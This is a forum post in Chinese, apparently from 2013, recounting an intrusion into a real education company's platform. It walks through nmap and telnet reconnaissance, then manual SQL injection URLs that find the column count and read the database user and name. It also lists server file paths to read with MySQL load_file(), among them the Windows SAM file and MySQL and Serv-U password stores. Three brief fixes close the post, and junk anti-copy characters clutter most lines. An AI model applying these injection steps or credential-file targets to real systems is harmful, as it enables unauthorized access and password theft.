找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
" }; {1 J- G9 }- s0 V1 L; ]$ f& j一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……) n8 i% R: e. b2 {; _7 `0 |
第一步:获取需要的信息  N( n! p3 E: @' w6 |
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
, p2 [/ F! f2 l注:以下为保护特用XXX代替敏感信息0 ?; _0 J. P& W* f" v, ^
顺手先PING了一下他们的域名:+ ~1 ?2 j, y" p3 h$ I) F3 ^
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)8 {  K( n8 p- T0 p7 B
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
% F/ l6 n. \/ {( b1 c顺便了解一下TTL,学好基础知识才能一路顺风:
7 I3 \6 M: W" |0 z6 u7 aTTL:(Time To Live ) 生存时间
* u8 b& Y* {& [7 V) x( [" _) J指定数据包被路由器丢弃之前允许通过的网段数量。4 y# q: }+ u! N: e1 r! h
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
4 }) F; |; Q5 Z( F2 D/ T. o1 Q使用PING时涉及到的 ICMP 报文类型7 Z# T1 K$ v! h! S) L7 S
一个为ICMP请求回显(ICMP Echo Request)
( u! V1 h  p- K4 [, W一个为ICMP回显应答(ICMP Echo Reply)
! }' R; C* N( yTTL 字段值可以帮助我们识别操作系统类型。* @& F- ?7 V+ ]0 i
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2552 v  J: |( M! N+ B, h
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
: A& f+ T6 F2 @% v! g( w3 d微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
) Z9 r( m- F  s8 [- `$ K8 ~微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 320 c) \% ]2 t/ J7 t& x1 _
当然,返回的TTL值是相同的6 }1 h8 C9 ~$ m' a# s" S. U4 C
但有些情况下有所特殊
/ [) h7 p. O5 Q) H: QLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64) F* x; ^* `* N" ~" x- h$ [
FreeBSD 4.1, 4.0, 3.4;
+ }1 Y  D8 H. g) z2 y$ O) aSun Solaris 2.5.1, 2.6, 2.7, 2.8;
* H' T. t4 u: ~2 `OpenBSD 2.6, 2.7,4 A  S. f* b. V
NetBSD# I, L, s8 D; T  H/ z
HP UX 10.203 G  m( L$ V4 l
ICMP 回显应答的 TTL 字段值为 255& ^0 N  G' f5 g$ R' I
Windows 95/98/98SE- M$ v6 D. \+ x2 y# I+ B9 M
Windows ME2 E, [9 Q0 c0 v3 c/ j! p
ICMP 回显应答的 TTL 字段值为 329 y# g$ b4 l  O
Windows NT4 WRKS# [! p; w" J* Y; d
Windows NT4 Server2 n0 d9 L' _& i  V: u! j  j4 X, O. _
Windows 2000
: I/ l4 k) @$ e, M5 _2 {) l; |Windows XP
. H' ~# o7 Y) }  ^. GICMP 回显应答的 TTL 字段值为 128% h; `2 F$ z, g$ U* t% g4 G
这样,我们就可以通过这种方法来辨别操作系统
' b" N* `4 I# B% cTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
! o9 w! v4 x* A7 z3 c( T  F用NMAP扫描一下:' S8 A' r4 _" l
nmap -sT -O XXX.XXX.XXX.XXX1 m. m6 q' S  s$ o. C
如果没有装WinPcap则会弹出提示:+ c1 Y+ z; W0 q3 D" `
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
# i! n6 g! j, t5 E( F& xade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(" F! h0 _! o" z1 l7 n' x
) mode — Nmap may not function completely+ F8 D* U0 Q! |
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher' ?+ s$ H5 \" Y; u5 t$ i
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
5 g% O9 ~4 Z2 t4 S4 r& ppcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an, i; S# l6 Y7 t7 U& e% K1 o# C
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v3 s- c: B; X9 F7 M
ersions, you may be able to take iphlpapi.dll from another system and place it i
* F. O9 l' |. j: L  E" Q, z9 {7 z) i) Mn your system32 dir (e.g. c:\windows\system32).
% U7 J+ E; q! P3 R: Y/ G% nQUITTING!: E3 E4 B2 X5 A7 c6 G9 `
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
/ r' \% @* @$ w5 M" u* y; w安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
- T0 a0 |# q. f; [$ P; U$ [Interesting ports on XXX.XXX.XXX.XXX:! M7 \/ {- {' o9 x& U$ j) b' r0 ~
Not shown: 986 closed ports
, Q  ], r9 R: d+ y8 BPORT     STATE    SERVICE
' \# g& e. ?: e& t21/tcp   open     ftp
" H4 B* g7 ^. t" k22/tcp   open     ssh
- h6 _; c# F$ ]9 ], o; k1 U23/tcp   open     telnet
9 J( |4 N/ B6 d' k. `80/tcp   open     http
2 H  j8 A. l& ~5 |( I9 y  F5 J111/tcp  open     rpcbind; p! a( Z- }; }' @: C; }
135/tcp  filtered msrpc
6 \2 n- {3 Y1 A3 o% i139/tcp  filtered netbios-ssn
7 p/ S: X, J: _5 W) j0 F& `* I445/tcp  filtered microsoft-ds
% n$ v/ k' s+ w' U; E513/tcp  open     login: @8 L: M1 I, U+ }& b/ @9 m5 e
514/tcp  open     shell! V/ N& |: t# |
593/tcp  filtered http-rpc-epmap
2 n4 ?, n) m0 o" M( X1720/tcp filtered H.323/Q.931
0 }! X9 ^0 B( n7 ?# z! i3 D3306/tcp open     mysql
4 R4 o& ^& u" T8 I. e4444/tcp filtered krb524: E/ j% ?! m: j
Device type: WAP
% t1 G$ m3 E( RRunning: Linux 2.4.X
4 Q# Q+ D8 w! e4 Q% }! ?1 pOS details: DD-WRT (Linux 2.4.35s)
- N, M. a# P* y& C) @! K( FNetwork Distance: 13 hops& ?# {+ j% Q- ?
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:3 w7 Y# U. E) c7 }+ H) ?& r3 F
login as:  k% w7 s: Q/ e% Q0 W
Telnet23端口也是开着的,用telnet 命令链接一下:
! G) f4 j3 w$ w. I+ H8 q7 B7 Z; Q, @telnet XXX.XXX.XXX.XXX
. M; f' n2 _; A: M. s0 s& |提示:+ ?: T5 h6 [6 x% r
Red Hat Enterprise Linux Server release 5.2 (Tikanga)$ C4 t0 Y+ n9 _1 ~
Kernel 2.6.18-92.el5PAE on an i6863 |5 ^1 N5 U2 w- q9 o
login:
1 {7 [! g% P2 a9 b获取HTTP头信息:
3 H* h9 l. X4 B4 s2 {& ?" I, b在本地执行如下PHP代码2 H, [- p/ G1 ]
<?php  i% b& q' S8 o1 u
$url = ‘XXX.XXX.XXX.XXX’;7 V; K4 }. L! ~0 V; K
print_r(get_headers($url));, @' X. t0 s# ^2 B
print_r(get_headers($url, 1));
7 ^+ U8 O( F5 |$ S2 z! p# u?>1 i. G6 n/ ~3 w7 N0 Q5 O
将以上代码保存为PHP文件,执行:' H+ A+ y9 L6 g' f
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )1 Q0 Y1 h. k- C3 O( q/ c6 d/ G! V
现在可以得出结论:
7 S/ R& R4 n/ R2 P9 s* x2 v系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
! P5 s, i+ L1 m8 T9 m) O* n1 e内核版本:Kernel 2.6.18-92.el5PAE on an i686
/ n. b2 v# R6 v( `9 k( _& H; {. HWEB服务器版本:nginx/0.7.61
* y* C0 N& J! i& l1 G! ]* K, k第二步,开始测试寻找漏洞5 C" U5 h0 J/ T; |3 N, u
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。' K8 }! p0 D/ q, C  P0 Q4 n7 S
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
# t! D$ F9 }. i. ?* O, v. Y, J2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
8 ^: ~# Q$ Z" \: [- [! Hhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常& k8 g( V0 G5 A4 Z3 E( p) l4 C4 x
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
: m( t* {5 K% ?" |# m恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
; {9 W2 t8 @' _% j3、手工注入:8 {0 A1 q) ]6 y4 E. e8 T3 V
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
) F4 i$ X, h5 w3.1 猜测当前表字段数
8 h3 r0 g4 k) o4 }1 c1 ]' ^7 f5 jhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
' F" J' B, z( p& M9 Y- R此处猜测有个简单的算法,都是有技巧的吗,呵呵
/ R' B* O9 d" O/ r: @算法简单如下:. W, X/ F; I# b7 I2 E3 F
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;7 H  {: H1 J) m3 g
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
: t: F* H+ y( F% L需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
3 ?8 J% N9 U# V, |& g3 S以此来判断,是否过界,配合取中算法猜出字段数。8 _+ G& k% l* |8 l6 `3 m
举例:
/ q1 |1 j6 O; k! Q2 E0 Q. G/ X" u: xhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常/ N/ H+ y; u+ f5 X
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
$ R7 P  Q# L/ Q' a0 g" t. N此时3则为我们要找的字段数。
5 B3 d; S3 W% Y- i6 B& [5 ]3.2 配合union联合查询字段在页面所位置
8 d( T0 X' Q0 o& ]0 G& K& c" D我们已经知道了字段数为3,此时则可以做如下操作:
6 e7 E6 V0 y$ K( O: `http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,37 f+ @/ ?1 }+ s; Y( ^6 H- h# x

, N' E5 B+ M% t% r1 I) L这样就可以测试到哪些字段在页面上有所显示了,如图:
% k+ b- E7 z- w! J- x7 v9 w0 h- q) x2 H. g" r( m3 M, j
3.3 查敏感信息
) d1 g# x9 v9 ^, T2 [# {; q4 D' I1 o这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。, F! S! w  J4 _! Y. f$ d- o$ r
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
% F0 T8 `  o0 ^  v: u/ {3.3.1 先查数据库用户、数据库名,以备后用,如图:' b* s8 f( ^. @3 h5 l, ~) Y$ p
& x4 l  m  ]. n/ G  _/ S' Z7 o
得到数据库用户为root、数据库名为DBxx;* I% b/ Q# Y. u, b' _+ Q8 {/ B3 X% M
3.3.2 查配置文件
) }" C# i4 W' d  [查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
1 k# ^  Z( E! C- W查看文件有一定的条件限制:
( ]7 Q2 `/ T/ Z, r欲读取文件必须在服务器上
. j0 K; _, {; v9 X5 A必须指定文件完整的路径6 k& D" A2 Y9 H3 E$ y
必须有权限读取并且文件必须完全可读% B7 B$ F  z$ [# N& u# u
欲读取文件必须小于 max_allowed_packet+ R% w# c- N$ r0 _* t
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
* Q& W. h+ b7 b; Q$ T% H常用的一些:7 u- j4 H/ f8 ^" r
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件6 Z( u: z6 z4 N  M' i
/usr/local/apache2/conf/httpd.conf
, D! K2 O( R& ]" Q0 a/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
; l1 C* f/ m4 b9 n0 }( o/usr/local/app/php5/lib/php.ini //PHP相关设置% c& I" v5 A/ ?- F: q+ P: ]
/etc/sysconfig/iptables //从中得到防火墙规则策略
) Q* q: @) P! n' ^2 M, e/etc/httpd/conf/httpd.conf // apache配置文件
/ f3 U; J  _2 S2 @! c/etc/rsyncd.conf //同步程序配置文件
8 `$ x* V/ M! I# [! B/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
9 U% `- B5 W+ ^6 C" Y! D/etc/my.cnf //mysql的配置文件
8 r& l& Q9 ^/ E' m& ?/etc/redhat-release //系统版本
: n- |/ M0 e# M% i! Q  V/ e9 H/etc/issue
9 r0 M- w% E( R$ z, X- N/etc/issue.net, ?5 n( j, X  Z9 c4 N; Z  U
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
4 f% |, B" q% Zc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
2 I8 _& b* h+ J7 m; Hc:\Program Files\Serv-U\ServUDaemon.ini
8 h+ H- X  x9 b) j, U, kc:\windows\my.ini //MYSQL配置文件
# _) F1 Q( t8 hc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件* ~0 J$ E8 l7 g) }6 Y8 X
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
$ ~, ^# X& f/ R; Xc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码; ^4 a7 W  J: J- `; [+ w5 Z
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
* h. M. ^6 J2 I$ ~$ kc:\Program Files\RhinoSoft.com\ServUDaemon.exe4 Y% c' _8 g( l  X+ Q  [
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
4 |( R- d+ }  J  S8 b, r//存储了pcAnywhere的登陆密码1 F- ]2 P3 B1 ?
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
8 j  x) F1 l; t* T* t3 e, E2 {这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
7 Q& R0 G9 I0 v. r% y" E最后:防范措施
( N9 j  o+ R3 R1 c, n1、修复PHP注入漏洞;
1 l' B* u2 W+ a6 n3 ^1 K6 R. E- X7 a2、Mysql使用普通权限的用户;4 H7 L8 F7 `. R* v- q% ~- r
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表